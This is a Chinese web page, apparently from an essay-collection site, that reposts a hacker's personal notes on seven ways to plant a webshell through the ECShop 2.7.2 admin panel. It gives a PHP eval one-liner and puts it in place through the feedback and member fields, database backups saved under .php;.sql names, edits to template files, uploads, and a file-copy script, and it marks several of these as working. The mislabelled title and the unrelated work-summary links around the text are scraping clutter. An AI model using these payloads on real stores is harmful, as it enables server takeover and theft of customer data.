- 相關(guān)推薦
ecshop后臺(tái)拿shell個(gè)人總結(jié)七種方法 -個(gè)人工作總結(jié)
ecshop后臺(tái)拿shell個(gè)人總結(jié)七種方法2011-03-19 09：30ecshop后臺(tái)拿shell個(gè)人總結(jié)七種方法2011年03月18日星期五19：10最近想弄個(gè)ecshop做銷(xiāo)售。裝好ecshop V2.7.2版本之后，測(cè)試后臺(tái)拿shell。本人整理給自己看的，大家飄過(guò)就好。BY：黑貓ecshop后臺(tái)拿shell個(gè)人總結(jié)七種方法一、(本人測(cè)試已經(jīng)失效)系統(tǒng)==數(shù)據(jù)庫(kù)管理==sql查詢(xún)(可爆出物理路徑)：==創(chuàng)建表失敗，導(dǎo)不出shell==show databases；use數(shù)據(jù)庫(kù)名；create a(cmd text not null)；insert into a(cmd)values(?php eval($_POST[cmd])；?)；select cmd from ainto outfile導(dǎo)出路徑；drop table if exists a；==創(chuàng)建表失敗，導(dǎo)不出shell===二、(本人測(cè)試已經(jīng)成功)前臺(tái)留個(gè)言，內(nèi)容是我們的一句話(huà)木馬：?php eval($_POST[cmd])；?接著在后臺(tái)系統(tǒng)==數(shù)據(jù)庫(kù)管理==數(shù)據(jù)備份==選擇自定義備份，選擇ecs_feedback這張表(存放留言的表)備份文件名：x.php；.sql(x.php.sql形式出錯(cuò)，菜刀鏈接不成功)然后菜刀鏈接成功三、(本人測(cè)試已經(jīng)成功)1、添加會(huì)員，會(huì)員名稱(chēng)插入插入一句話(huà)：?php eval($_POST[cmd])；?，其他隨便填寫(xiě)。2、系統(tǒng)==數(shù)據(jù)庫(kù)管理==數(shù)據(jù)備份---自定義備份---選"XXX_users"(其中XXX因各站而異，是數(shù)據(jù)前綴)3、備份文件名為mm.php；.sql 4、一句話(huà)客戶(hù)端連接mm.php；.sql，地址一般為四、(本人測(cè)試已經(jīng)成功)模板管理==庫(kù)項(xiàng)目管理==選擇myship.lbi配送方式。在文件內(nèi)容最后面加入一句話(huà)代碼：?php eval($_POST[cmd])；?菜刀鏈接成功。說(shuō)明：有些服務(wù)器過(guò)濾了eval導(dǎo)致失敗。五、(發(fā)布權(quán)限)(本人測(cè)試已經(jīng)失效)代碼省略對(duì)Media沒(méi)有任何限制.直接Type=Media上傳你的解密webshell訪(fǎng)問(wèn)路徑為六、(測(cè)試成功，別人2011.02.05的記錄)上傳txt并且沒(méi)有過(guò)濾任何函數(shù).于是運(yùn)用到了php的文件操作…script language="php"$file=file_get_contents("C：\Inetpub\wwwroot\ecshop\data/Article/1286344719152816497.txt")；if($file){$file="C：\Inetpub\wwwroot\ecshop\data/Article/1286344719152816497.txt"；$newfile=C：\Inetpub\wwwroot\ecshop\data/distant.php；a.txt；copy($file,$newfile)；}/script將以上代碼插入庫(kù)項(xiàng)目管理中的myship.ini打開(kāi)即在目錄下生成distant.php；a.txt菜刀連接之…搞定.七、(本人測(cè)試已經(jīng)失效)進(jìn)入后臺(tái)-系統(tǒng)設(shè)置-Flash播放器管理-直接上傳x.php ecshop V2.7.2版本已經(jīng)沒(méi)有這個(gè)選項(xiàng)，所以這個(gè)已經(jīng)失效。
【ecshop后臺(tái)拿shell個(gè)人總結(jié)七種方法 -個(gè)人工作總結(jié)】相關(guān)文章：
個(gè)人期末總結(jié) -個(gè)人工作總結(jié)07-13
公司個(gè)人總結(jié) -個(gè)人工作總結(jié)05-27
個(gè)人的工作總結(jié)06-05
銀行個(gè)人2006工作總結(jié) -個(gè)人工作總結(jié)06-07
銀行個(gè)人工作總結(jié) -個(gè)人工作總結(jié)07-22
個(gè)人工作總結(jié)(教學(xué)) -個(gè)人工作總結(jié)09-01
回顧與展望：個(gè)人總結(jié) -個(gè)人工作總結(jié)08-23
（人大秘書(shū)）個(gè)人總結(jié) -個(gè)人工作總結(jié)08-13